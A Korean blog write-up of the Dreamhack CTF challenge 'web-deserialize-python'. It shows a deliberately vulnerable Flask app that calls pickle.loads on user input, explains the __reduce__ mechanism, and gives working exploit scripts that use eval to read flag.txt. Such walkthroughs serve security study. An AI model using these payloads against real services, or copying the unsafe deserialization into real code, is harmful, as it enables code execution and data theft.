Wargame/Web

[Dreamhack] web-deserialize-python

월루이 2023. 6. 22.

1. 문제

Python(pickle)의 Deserialize(역직렬화) 취약점을 이용해 FLAG를 획득하는 문제

 

 

코드

#!/usr/bin/env python3
from flask import Flask, request, render_template, redirect
import os, pickle, base64

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
    FLAG = '[**FLAG**]'

INFO = ['name', 'userid', 'password']

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/create_session', methods=['GET', 'POST'])
def create_session():
    if request.method == 'GET':
        return render_template('create_session.html')
    elif request.method == 'POST':
        info = {}
        for _ in INFO:
            info[_] = request.form.get(_, '')
        data = base64.b64encode(pickle.dumps(info)).decode('utf8')
        return render_template('create_session.html', data=data)

@app.route('/check_session', methods=['GET', 'POST'])
def check_session():
    if request.method == 'GET':
        return render_template('check_session.html')
    elif request.method == 'POST': 
        session = request.form.get('session', '')
        info = pickle.loads(base64.b64decode(session))
        return render_template('check_session.html', info=info)

app.run(host='0.0.0.0', port=8000)

 

 

 

2. pickle이란?

pickle텍스트 상태의 데이터가 아닌 파이썬 객체 자체를 바이너리 파일로 저장하는 것을 말한다.

즉, 텍스트 형태로 파일을 저장하는 것이 아니라 dictionary, list, tuple과 같은 형태로 필요한 부분을 저장하는 것이다.

하지만 문자열이 아닌 객체를 파일에 쓸 수 없기 때문에 pickle 모듈을 활용해 그 객체 자체를 바이너리로 저장하는 것이라고 한다.

 

2-1. pickle 취약점

더보기

pickle취약점은 pickle 데이터를 loads하는 과정에서 동작하는 내장 함수인 __reduce__()에서 발생한다고 한다.

__reduce__() 메서드는 pickle 모듈이 객체를 직렬화할 때 호출되는 특별한 메서드로, 객체를 다시 역직렬화할 때 필요한 정보를 제공해준다.

 

 

객체에 대한 검증 없이 실행을 해주므로, 취약점이 발생한다.

 

picle 취약점의 공격 페이로드는 아래와 같다.

class Exploit:
    def __reduce__(self):
        cmd = "print('It can print or something')"
        return (__builtins__.eval, (cmd,))

payload = pickle.dumps(Exploit())
print(payload)

 

 

 


출처

 

https://velog.io/@hunjison/python-deserialize-%EC%B7%A8%EC%95%BD%EC%A0%90

 

python deserialize 취약점

원리에 대한 내용보다는 실제 필요한 내용만 간단하게 정리.python pickle 모듈은 data serialize에 쓰는 모듈이다.serialize란 class나 function 등을 문자열의 형태로 바꿀 수 있는 것이다.pickle의 간단한 사

velog.io

 

https://hoppipolla0507.tistory.com/22

 

[web] python pickle module(deserialize vulnerability)

스물한 번째 글. 1. Serialization & Deserialization serialization : Object 또는 Data의 상태 또는 타입을 특정한 형태의 포맷을 가진 데이터로 변환하는 것 -> pickling deserialize : 직렬화된 데이터를 원래의 Object

hoppipolla0507.tistory.com

 

 

 

 

 

3. 풀이

더보기

코드 풀이

 

  • /create_session

입력 값을 받아 info(딕셔너리)에 넣은 후, 직렬화하여 메모리에 저장한다. (이때, base64인코딩 사용)

즉, info={'name' : 'test', 'userid' : ''test', 'password' : 'test'} 으로 저장된다.

INFO = ['name', 'userid', 'password']

@app.route('/create_session', methods=['GET', 'POST'])
def create_session():
    if request.method == 'GET':
        return render_template('create_session.html')
    elif request.method == 'POST':
        info = {}
        for _ in INFO:
            info[_] = request.form.get(_, '')
        data = base64.b64encode(pickle.dumps(info)).decode('utf8')
        return render_template('create_session.html', data=data)

 

 

아래와 같이 각각에 test를 넣어주면, session이 생성된다.

gAN9cQAoWAQAAABuYW1lcQFYBAAAAHRlc3RxAlgGAAAAdXNlcmlkcQNYBAAAAHRlc3RxBFgIAAAAcGFzc3dvcmRxBVgEAAAAdGVzdHEGdS4=

 

 

 

  • /check_session

입력한 session값을  base64 디코딩을 한 후, 다시 역직렬화를 해주는 코드이다.

@app.route('/check_session', methods=['GET', 'POST'])
def check_session():
    if request.method == 'GET':
        return render_template('check_session.html')
    elif request.method == 'POST': 
        session = request.form.get('session', '')
        info = pickle.loads(base64.b64decode(session))
        return render_template('check_session.html', info=info)

 

 

 

 

 

 

  •  문제 풀이

 

pickle 취약점을 이용하여 입력 시, flag.txt를 읽는 명령어를 사용하여 데이터를 저장 후, 역직렬화할 때 정보 가져오는 방법을 사용한다.

 

 

pickle 취약점을 이용한 페이로드를 참고하여 python코드를 작성해준다. (위에 페이로드 있음)

import pickle, base64

class flag:
    def __reduce__(self):
        cmd="open('./flag.txt', 'r').read()"
        return (__builtins__.eval, (cmd,))


info={'name' : flag(), 'userid' : 'test', 'password' : 'test'} 
data = base64.b64encode(pickle.dumps(info)).decode('utf8')
print(data)

 

 

 

'Wargame > Web' 카테고리의 다른 글

[Dreamhack] login-1  (0) 2023.06.20
[Dreamhack] sql injection bypass WAF  (0) 2023.05.24
[Dreamhack] file-csp-1  (0) 2022.07.06
[Dreamhack] session  (0) 2022.07.04
[Dreamhack] File Vulnerability Advanced for linux  (0) 2022.06.23

댓글